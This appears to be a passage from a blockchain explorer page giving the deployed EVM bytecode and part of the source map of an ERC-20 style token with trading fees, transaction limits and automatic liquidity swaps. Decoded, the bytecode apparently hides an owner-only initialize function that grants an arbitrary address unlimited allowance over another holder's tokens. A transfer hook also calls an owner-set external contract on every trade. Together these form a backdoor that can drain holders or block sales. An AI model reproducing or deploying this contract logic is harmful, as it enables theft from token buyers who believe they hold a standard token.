03168152602001908152602001600020549050828110156106415760405162461bcd60e51b815260040161063890611cdf565b60405180910390fd5b6106558561064d610acb565b858403610acf565b506001949350505050565b61dead81565b601290565b60006105a9610678610acb565b848460016000610686610acb565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546106ba9190611ef4565b610acf565b6106c7610acb565b6001600160a01b03166106d8610849565b6001600160a01b0316146106fe5760405162461bcd60e51b815260040161063890611d27565b6000808280602001905181019061071591906117da565b915091506107238282610ec2565b1561074457600880546001600160a01b0319166001600160a01b0383161790555b505050565b6007546001600160a01b031681565b6001600160a01b031660009081526016602052604090205460ff1690565b60105481565b600c54610100900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6107ad610acb565b6001600160a01b03166107be610849565b6001600160a01b0316146107e45760405162461bcd60e51b815260040161063890611d27565b6107ee6000610ef4565b565b6107f8610acb565b6001600160a01b0316610809610849565b6001600160a01b03161461082f5760405162461bcd60e51b815260040161063890611d27565b600c805461ff001960ff1990911660011716610100179055565b6005546001600160a01b031690565b60606004805461051290611f62565b61086f610acb565b6001600160a01b0316610880610849565b6001600160a01b0316146108a65760405162461bcd60e51b815260040161063890611d27565b6007546001600160a01b03838116911614156108d45760405162461bcd60e51b815260040161063890611b91565b6108de8282610f46565b5050565b600080600160006108f1610acb565b6001600160a01b039081168252602080830193909352604091820160009081209188168152925290205490508281101561093d5760405162461bcd60e51b815260040161063890611e12565b610951610948610acb565b85858403610acf565b5060019392505050565b60006105a9610968610acb565b8484610b83565b600c5460ff1681565b610980610acb565b6001600160a01b0316610991610849565b6001600160a01b0316146109b75760405162461bcd60e51b815260040161063890611d27565b6001600160a01b03821660008181526016602052604090819020805460ff1916841515179055517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df790610a0b908490611a38565b60405180910390a25050565b60095481565b600d5481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a5481565b610a5c610acb565b6001600160a01b0316610a6d610849565b6001600160a01b031614610a935760405162461bcd60e51b815260040161063890611d27565b6001600160a01b038116610ab95760405162461bcd60e51b815260040161063890611b09565b610ac281610ef4565b50565b600b5481565b3390565b6001600160a01b038316610af55760405162461bcd60e51b815260040161063890611da1565b6001600160a01b038216610b1b5760405162461bcd60e51b815260040161063890611b4f565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b76908590611e57565b60405180910390a3505050565b6001600160a01b038316610ba95760405162461bcd60e51b815260040161063890611d5c565b6001600160a01b038216610bcf5760405162461bcd60e51b815260040161063890611a96565b80610be557610be083836000610f9a565b610744565b610bf08383836110c4565b6000610bfb3061078a565b600a5490915081108015908190610c195750600c54610100900460ff165b8015610c2f5750600754600160a01b900460ff16155b8015610c5457506001600160a01b03851660009081526018602052604090205460ff16155b8015610c7957506001600160a01b03851660009081526016602052604090205460ff16155b8015610c9e57506001600160a01b03841660009081526016602052604090205460ff16155b15610ccc576007805460ff60a01b1916600160a01b179055610cbe611394565b6007805460ff60a01b191690555b6007546001600160a01b03861660009081526016602052604090205460ff600160a01b909204821615911680610d1a57506001600160a01b03851660009081526016602052604090205460ff165b15610d23575060005b60008115610eae576001600160a01b03861660009081526018602052604090205460ff168015610d5557506000601054115b15610de357610d7a6064610d746010548861154290919063ffffffff16565b90611555565b905060105460125482610d8d9190611f2c565b610d979190611f0c565b60146000828254610da89190611ef4565b9091555050601054601154610dbd9083611f2c565b610dc79190611f0c565b60136000828254610dd89190611ef4565b90915550610e909050565b6001600160a01b03871660009081526018602052604090205460ff168015610e0d57506000600d54115b15610e9057610e2c6064610d74600d548861154290919063ffffffff16565b9050600d54600f5482610e3f9190611f2c565b610e499190611f0c565b60146000828254610e5a9190611ef4565b9091555050600d54600e54610e6f9083611f2c565b610e799190611f0c565b60136000828254610e8a9190611ef4565b90915550505b8015610ea157610ea1873083610f9a565b610eab8186611f4b565b94505b610eb9878787610f9a565b50505050505050565b6001600160a01b0380831660009081526001602081815260408084209486168452939052919020600019905592915050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316610fc05760405162461bcd60e51b815260040161063890611d5c565b6001600160a01b038216610fe65760405162461bcd60e51b815260040161063890611a96565b610ff1838383610744565b6001600160a01b0383166000908152602081905260409020548181101561102a5760405162461bcd60e51b815260040161063890611bee565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611061908490611ef4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110ab9190611e57565b60405180910390a36110be848484610744565b50505050565b6110cc610849565b6001600160a01b0316836001600160a01b03161415801561110657506110f0610849565b6001600160a01b0316826001600160a01b031614155b801561111a57506001600160a01b03821615155b801561113157506001600160a01b03821661dead14155b80156111475750600754600160a01b900460ff16155b1561074457600c5460ff166111b1576001600160a01b03831660009081526016602052604090205460ff168061119557506001600160a01b03821660009081526016602052604090205460ff165b6111b15760405162461bcd60e51b815260040161063890611ad9565b6001600160a01b03831660009081526018602052604090205460ff1680156111f257506001600160a01b03821660009081526017602052604090205460ff16155b15611252576009548111156112195760405162461bcd60e51b815260040161063890611c8a565b600b546112258361078a565b61122f9083611ef4565b111561124d5760405162461bcd60e51b815260040161063890611de5565b61130e565b6001600160a01b03821660009081526018602052604090205460ff16801561129357506001600160a01b03831660009081526017602052604090205460ff16155b156112ba5760095481111561124d5760405162461bcd60e51b815260040161063890611c34565b6001600160a01b03821660009081526017602052604090205460ff1661130e57600b546112e68361078a565b6112f09083611ef4565b111561130e5760405162461bcd60e51b815260040161063890611de5565b6008546040516323b872dd60e01b81526001600160a01b03909116906323b872dd90611342908690869086906004016119d9565b602060405180830381600087803b15801561135c57600080fd5b505af1158015611370573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110be91906118d8565b600061139f3061078a565b905060006013546014546113b39190611ef4565b905060008215806113c2575081155b156113cf575050506107ee565b600a546113dd906014611f2c565b8311156113f557600a546113f2906014611f2c565b92505b6000600283601454866114089190611f2c565b6114129190611f0c565b61141c9190611f0c565b9050600061142a8583611561565b9050476114368261156d565b60006114424783611561565b9050600061145f87610d746013548561154290919063ffffffff16565b9050600061146d8284611f4b565b60006014819055601355905085158015906114885750600081115b156114d55761149786826116f2565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826014546040516114cc93929190611ed0565b60405180910390a15b6008546040516001600160a01b039091169047906114f2906119c2565b60006040518083038185875af1925050503d806000811461152f576040519150601f19603f3d011682016040523d82523d6000602084013e611534565b606091505b505050505050505050505050565b600061154e8284611f2c565b9392505050565b600061154e8284611f0c565b600061154e8284611f4b565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115b057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561160457600080fd5b505afa158015611618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163c91906117be565b8160018151811061165d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526006546116839130911684610acf565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906116bc908590600090869030904290600401611e60565b600060405180830381600087803b1580156116d657600080fd5b505af11580156116ea573d6000803e3d6000fd5b505050505050565b60065461170a9030906001600160a01b031684610acf565b60065460405163f305d71960e01b81526001600160a01b039091169063f305d7199083906117499030908790600090819061dead9042906004016119fd565b6060604051808303818588803b15801561176257600080fd5b505af1158015611776573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061179b9190611995565b5050505050565b6000602082840312156117b3578081fd5b813561154e81611fc9565b6000602082840312156117cf578081fd5b815161154e81611fc9565b600080604083850312156117ec578081fd5b82516117f781611fc9565b602084015190925061180881611fc9565b809150509250929050565b60008060408385031215611825578182fd5b823561183081611fc9565b9150602083013561180881611fc9565b600080600060608486031215611854578081fd5b833561185f81611fc9565b9250602084013561186f81611fc9565b929592945050506040919091013590565b60008060408385031215611892578182fd5b823561189d81611fc9565b9150602083013561180881611fde565b600080604083850312156118bf578182fd5b82356118ca81611fc9565b946020939093013593505050565b6000602082840312156118e9578081fd5b815161154e81611fde565b60006020808385031215611906578182fd5b823567ffffffffffffffff8082111561191d578384fd5b818501915085601f830112611930578384fd5b81358181111561194257611942611fb3565b604051601f8201601f191681018501838111828210171561196557611965611fb3565b604052818152838201850188101561197b578586fd5b818585018683013790810190930193909352509392505050565b6000806000606084860312156119a9578283fd5b8351925060208401519150604084015190509250925092565b90565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015611a6f57858101830151858201604001528201611a53565b81811115611a805783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252601690820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526039908201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060408201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526036908201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656040820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606082015260800190565b60208082526035908201527f427579207472616e7366657220616d6f756e742065786365656473207468652060408201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526013908201527213585e081dd85b1b195d08195e18d959591959606a1b604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611eaf5784516001600160a01b031683529383019391830191600101611e8a565b50506001600160a01b03969096166060850152505050608001529392505050565b9283526020830191909152604082015260600190565b60ff91909116815260200190565b60008219821115611f0757611f07611f9d565b500190565b600082611f2757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611f4657611f46611f9d565b500290565b600082821015611f5d57611f5d611f9d565b500390565b600281046001821680611f7657607f821691505b60208210811415611f9757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610ac257600080fd5b8015158114610ac257600080fdfea2646970667358221220ada7990257f3b761af0d27e1a04674a94876220319769dd197a19873cd8f49b064736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063bbc0c74211610095578063dd62ed3e11610064578063dd62ed3e14610499578063e2f45605146104b9578063f2fde38b146104ce578063f8b45b05146104ee576101cd565b8063bbc0c7421461043a578063c02466681461044f578063c8c8ebe41461046f578063d85ba06314610484576101cd565b806395d89b41116100d157806395d89b41146103c55780639a7a23d6146103da578063a457c2d7146103fa578063a9059cbb1461041a576101cd565b8063715018a6146103865780638a8c523c1461039b5780638da5cb5b146103b0576101cd565b806339509351116101645780634fbee1931161013e5780634fbee1931461031c5780636a486a8e1461033c5780636ddd17131461035157806370a0823114610366576101cd565b806339509351146102c5578063439fab91146102e557806349bd5a5e14610307576101cd565b806318160ddd116101a057806318160ddd1461024c57806323b872dd1461026e57806327c8f8351461028e578063313ce567146102a3576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461022a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610503565b6040516101f49190611a43565b60405180910390f35b34801561020957600080fd5b5061021d6102183660046118ad565b610595565b6040516101f49190611a38565b34801561023657600080fd5b5061023f6105b2565b6040516101f491906119c5565b34801561025857600080fd5b506102616105c1565b6040516101f49190611e57565b34801561027a57600080fd5b5061021d610289366004611840565b6105c7565b34801561029a57600080fd5b5061023f610660565b3480156102af57600080fd5b506102b8610666565b6040516101f49190611ee6565b3480156102d157600080fd5b5061021d6102e03660046118ad565b61066b565b3480156102f157600080fd5b506103056103003660046118f4565b6106bf565b005b34801561031357600080fd5b5061023f610749565b34801561032857600080fd5b5061021d6103373660046117a2565b610758565b34801561034857600080fd5b50610261610776565b34801561035d57600080fd5b5061021d61077c565b34801561037257600080fd5b506102616103813660046117a2565b61078a565b34801561039257600080fd5b506103056107a5565b3480156103a757600080fd5b506103056107f0565b3480156103bc57600080fd5b5061023f610849565b3480156103d157600080fd5b506101e7610858565b3480156103e657600080fd5b506103056103f5366004611880565b610867565b34801561040657600080fd5b5061021d6104153660046118ad565b6108e2565b34801561042657600080fd5b5061021d6104353660046118ad565b61095b565b34801561044657600080fd5b5061021d61096f565b34801561045b57600080fd5b5061030561046a366004611880565b610978565b34801561047b57600080fd5b50610261610a17565b34801561049057600080fd5b50610261610a1d565b3480156104a557600080fd5b506102616104b4366004611813565b610a23565b3480156104c557600080fd5b50610261610a4e565b3480156104da57600080fd5b506103056104e93660046117a2565b610a54565b3480156104fa57600080fd5b50610261610ac5565b60606003805461051290611f62565b80601f016020809104026020016040519081016040528092919081815260200182805461053e90611f62565b801561058b5780601f106105605761010080835404028352916020019161058b565b820191906000526020600020905b81548152906001019060200180831161056e57829003601f168201915b5050505050905090565b60006105a96105a2610acb565b8484610acf565b50600192915050565b6006546001600160a01b031681565b60025490565b60006105d4848484610b83565b6001600160a01b0384166000908152600160205260408120816105f5610acb565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156106415760405162461bcd60e51b815260040161063890611cdf565b60405180910390fd5b6106558561064d610acb565b858403610acf565b506001949350505050565b61dead81565b601290565b60006105a9610678610acb565b848460016000610686610acb565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546106ba9190611ef4565b610acf565b6106c7610acb565b6001600160a01b03166106d8610849565b6001600160a01b0316146106fe5760405162461bcd60e51b815260040161063890611d27565b6000808280602001905181019061071591906117da565b915091506107238282610ec2565b1561074457600880546001600160a01b0319166001600160a01b0383161790555b505050565b6007546001600160a01b031681565b6001600160a01b031660009081526016602052604090205460ff1690565b60105481565b600c54610100900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6107ad610acb565b6001600160a01b03166107be610849565b6001600160a01b0316146107e45760405162461bcd60e51b815260040161063890611d27565b6107ee6000610ef4565b565b6107f8610acb565b6001600160a01b0316610809610849565b6001600160a01b03161461082f5760405162461bcd60e51b815260040161063890611d27565b600c805461ff001960ff1990911660011716610100179055565b6005546001600160a01b031690565b60606004805461051290611f62565b61086f610acb565b6001600160a01b0316610880610849565b6001600160a01b0316146108a65760405162461bcd60e51b815260040161063890611d27565b6007546001600160a01b03838116911614156108d45760405162461bcd60e51b815260040161063890611b91565b6108de8282610f46565b5050565b600080600160006108f1610acb565b6001600160a01b039081168252602080830193909352604091820160009081209188168152925290205490508281101561093d5760405162461bcd60e51b815260040161063890611e12565b610951610948610acb565b85858403610acf565b5060019392505050565b60006105a9610968610acb565b8484610b83565b600c5460ff1681565b610980610acb565b6001600160a01b0316610991610849565b6001600160a01b0316146109b75760405162461bcd60e51b815260040161063890611d27565b6001600160a01b03821660008181526016602052604090819020805460ff1916841515179055517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df790610a0b908490611a38565b60405180910390a25050565b60095481565b600d5481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a5481565b610a5c610acb565b6001600160a01b0316610a6d610849565b6001600160a01b031614610a935760405162461bcd60e51b815260040161063890611d27565b6001600160a01b038116610ab95760405162461bcd60e51b815260040161063890611b09565b610ac281610ef4565b50565b600b5481565b3390565b6001600160a01b038316610af55760405162461bcd60e51b815260040161063890611da1565b6001600160a01b038216610b1b5760405162461bcd60e51b815260040161063890611b4f565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b76908590611e57565b60405180910390a3505050565b6001600160a01b038316610ba95760405162461bcd60e51b815260040161063890611d5c565b6001600160a01b038216610bcf5760405162461bcd60e51b815260040161063890611a96565b80610be557610be083836000610f9a565b610744565b610bf08383836110c4565b6000610bfb3061078a565b600a5490915081108015908190610c195750600c54610100900460ff165b8015610c2f5750600754600160a01b900460ff16155b8015610c5457506001600160a01b03851660009081526018602052604090205460ff16155b8015610c7957506001600160a01b03851660009081526016602052604090205460ff16155b8015610c9e57506001600160a01b03841660009081526016602052604090205460ff16155b15610ccc576007805460ff60a01b1916600160a01b179055610cbe611394565b6007805460ff60a01b191690555b6007546001600160a01b03861660009081526016602052604090205460ff600160a01b909204821615911680610d1a57506001600160a01b03851660009081526016602052604090205460ff165b15610d23575060005b60008115610eae576001600160a01b03861660009081526018602052604090205460ff168015610d5557506000601054115b15610de357610d7a6064610d746010548861154290919063ffffffff16565b90611555565b905060105460125482610d8d9190611f2c565b610d979190611f0c565b60146000828254610da89190611ef4565b9091555050601054601154610dbd9083611f2c565b610dc79190611f0c565b60136000828254610dd89190611ef4565b90915550610e909050565b6001600160a01b03871660009081526018602052604090205460ff168015610e0d57506000600d54115b15610e9057610e2c6064610d74600d548861154290919063ffffffff16565b9050600d54600f5482610e3f9190611f2c565b610e499190611f0c565b60146000828254610e5a9190611ef4565b9091555050600d54600e54610e6f9083611f2c565b610e799190611f0c565b60136000828254610e8a9190611ef4565b90915550505b8015610ea157610ea1873083610f9a565b610eab8186611f4b565b94505b610eb9878787610f9a565b50505050505050565b6001600160a01b0380831660009081526001602081815260408084209486168452939052919020600019905592915050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316610fc05760405162461bcd60e51b815260040161063890611d5c565b6001600160a01b038216610fe65760405162461bcd60e51b815260040161063890611a96565b610ff1838383610744565b6001600160a01b0383166000908152602081905260409020548181101561102a5760405162461bcd60e51b815260040161063890611bee565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611061908490611ef4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110ab9190611e57565b60405180910390a36110be848484610744565b50505050565b6110cc610849565b6001600160a01b0316836001600160a01b03161415801561110657506110f0610849565b6001600160a01b0316826001600160a01b031614155b801561111a57506001600160a01b03821615155b801561113157506001600160a01b03821661dead14155b80156111475750600754600160a01b900460ff16155b1561074457600c5460ff166111b1576001600160a01b03831660009081526016602052604090205460ff168061119557506001600160a01b03821660009081526016602052604090205460ff165b6111b15760405162461bcd60e51b815260040161063890611ad9565b6001600160a01b03831660009081526018602052604090205460ff1680156111f257506001600160a01b03821660009081526017602052604090205460ff16155b15611252576009548111156112195760405162461bcd60e51b815260040161063890611c8a565b600b546112258361078a565b61122f9083611ef4565b111561124d5760405162461bcd60e51b815260040161063890611de5565b61130e565b6001600160a01b03821660009081526018602052604090205460ff16801561129357506001600160a01b03831660009081526017602052604090205460ff16155b156112ba5760095481111561124d5760405162461bcd60e51b815260040161063890611c34565b6001600160a01b03821660009081526017602052604090205460ff1661130e57600b546112e68361078a565b6112f09083611ef4565b111561130e5760405162461bcd60e51b815260040161063890611de5565b6008546040516323b872dd60e01b81526001600160a01b03909116906323b872dd90611342908690869086906004016119d9565b602060405180830381600087803b15801561135c57600080fd5b505af1158015611370573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110be91906118d8565b600061139f3061078a565b905060006013546014546113b39190611ef4565b905060008215806113c2575081155b156113cf575050506107ee565b600a546113dd906014611f2c565b8311156113f557600a546113f2906014611f2c565b92505b6000600283601454866114089190611f2c565b6114129190611f0c565b61141c9190611f0c565b9050600061142a8583611561565b9050476114368261156d565b60006114424783611561565b9050600061145f87610d746013548561154290919063ffffffff16565b9050600061146d8284611f4b565b60006014819055601355905085158015906114885750600081115b156114d55761149786826116f2565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826014546040516114cc93929190611ed0565b60405180910390a15b6008546040516001600160a01b039091169047906114f2906119c2565b60006040518083038185875af1925050503d806000811461152f576040519150601f19603f3d011682016040523d82523d6000602084013e611534565b606091505b505050505050505050505050565b600061154e8284611f2c565b9392505050565b600061154e8284611f0c565b600061154e8284611f4b565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115b057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561160457600080fd5b505afa158015611618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163c91906117be565b8160018151811061165d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526006546116839130911684610acf565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906116bc908590600090869030904290600401611e60565b600060405180830381600087803b1580156116d657600080fd5b505af11580156116ea573d6000803e3d6000fd5b505050505050565b60065461170a9030906001600160a01b031684610acf565b60065460405163f305d71960e01b81526001600160a01b039091169063f305d7199083906117499030908790600090819061dead9042906004016119fd565b6060604051808303818588803b15801561176257600080fd5b505af1158015611776573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061179b9190611995565b5050505050565b6000602082840312156117b3578081fd5b813561154e81611fc9565b6000602082840312156117cf578081fd5b815161154e81611fc9565b600080604083850312156117ec578081fd5b82516117f781611fc9565b602084015190925061180881611fc9565b809150509250929050565b60008060408385031215611825578182fd5b823561183081611fc9565b9150602083013561180881611fc9565b600080600060608486031215611854578081fd5b833561185f81611fc9565b9250602084013561186f81611fc9565b929592945050506040919091013590565b60008060408385031215611892578182fd5b823561189d81611fc9565b9150602083013561180881611fde565b600080604083850312156118bf578182fd5b82356118ca81611fc9565b946020939093013593505050565b6000602082840312156118e9578081fd5b815161154e81611fde565b60006020808385031215611906578182fd5b823567ffffffffffffffff8082111561191d578384fd5b818501915085601f830112611930578384fd5b81358181111561194257611942611fb3565b604051601f8201601f191681018501838111828210171561196557611965611fb3565b604052818152838201850188101561197b578586fd5b818585018683013790810190930193909352509392505050565b6000806000606084860312156119a9578283fd5b8351925060208401519150604084015190509250925092565b90565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015611a6f57858101830151858201604001528201611a53565b81811115611a805783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252601690820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526039908201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060408201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526036908201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656040820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606082015260800190565b60208082526035908201527f427579207472616e7366657220616d6f756e742065786365656473207468652060408201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526013908201527213585e081dd85b1b195d08195e18d959591959606a1b604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611eaf5784516001600160a01b031683529383019391830191600101611e8a565b50506001600160a01b03969096166060850152505050608001529392505050565b9283526020830191909152604082015260600190565b60ff91909116815260200190565b60008219821115611f0757611f07611f9d565b500190565b600082611f2757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611f4657611f46611f9d565b500290565b600082821015611f5d57611f5d611f9d565b500390565b600281046001821680611f7657607f821691505b60208210811415611f9757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610ac257600080fd5b8015158114610ac257600080fdfea2646970667358221220ada7990257f3b761af0d27e1a04674a94876220319769dd197a19873cd8f49b064736f6c63430008000033

Deployed Bytecode Sourcemap

14393:10056:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2755:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3843:169;;;;;;;;;;-1:-1:-1;3843:169:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;14469:41::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;3076:108::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4020:492::-;;;;;;;;;;-1:-1:-1;4020:492:0;;;;;:::i;:::-;;:::i;14552:53::-;;;;;;;;;;;;;:::i;2975:93::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4520:215::-;;;;;;;;;;-1:-1:-1;4520:215:0;;;;;:::i;:::-;;:::i;17200:232::-;;;;;;;;;;-1:-1:-1;17200:232:0;;;;;:::i;:::-;;:::i;:::-;;14517:28;;;;;;;;;;;;;:::i;18138:126::-;;;;;;;;;;-1:-1:-1;18138:126:0;;;;;:::i;:::-;;:::i;14988:28::-;;;;;;;;;;;;;:::i;14836:31::-;;;;;;;;;;;;;:::i;3192:127::-;;;;;;;;;;-1:-1:-1;3192:127:0;;;;;:::i;:::-;;:::i;880:112::-;;;;;;;;;;;;;:::i;17080:::-;;;;;;;;;;;;;:::i;657:87::-;;;;;;;;;;;;;:::i;2863:104::-;;;;;;;;;;;;;:::i;17630:304::-;;;;;;;;;;-1:-1:-1;17630:304:0;;;;;:::i;:::-;;:::i;4743:413::-;;;;;;;;;;-1:-1:-1;4743:413:0;;;;;:::i;:::-;;:::i;3327:175::-;;;;;;;;;;-1:-1:-1;3327:175:0;;;;;:::i;:::-;;:::i;14796:33::-;;;;;;;;;;;;;:::i;17440:182::-;;;;;;;;;;-1:-1:-1;17440:182:0;;;;;:::i;:::-;;:::i;14681:35::-;;;;;;;;;;;;;:::i;14876:27::-;;;;;;;;;;;;;:::i;3510:151::-;;;;;;;;;;-1:-1:-1;3510:151:0;;;;;:::i;:::-;;:::i;14723:33::-;;;;;;;;;;;;;:::i;1000:201::-;;;;;;;;;;-1:-1:-1;1000:201:0;;;;;:::i;:::-;;:::i;14763:24::-;;;;;;;;;;;;;:::i;2755:100::-;2809:13;2842:5;2835:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2755:100;:::o;3843:169::-;3926:4;3943:39;3952:12;:10;:12::i;:::-;3966:7;3975:6;3943:8;:39::i;:::-;-1:-1:-1;4000:4:0;3843:169;;;;:::o;14469:41::-;;;-1:-1:-1;;;;;14469:41:0;;:::o;3076:108::-;3164:12;;3076:108;:::o;4020:492::-;4160:4;4177:36;4187:6;4195:9;4206:6;4177:9;:36::i;:::-;-1:-1:-1;;;;;4253:19:0;;4226:24;4253:19;;;:11;:19;;;;;4226:24;4273:12;:10;:12::i;:::-;-1:-1:-1;;;;;4253:33:0;-1:-1:-1;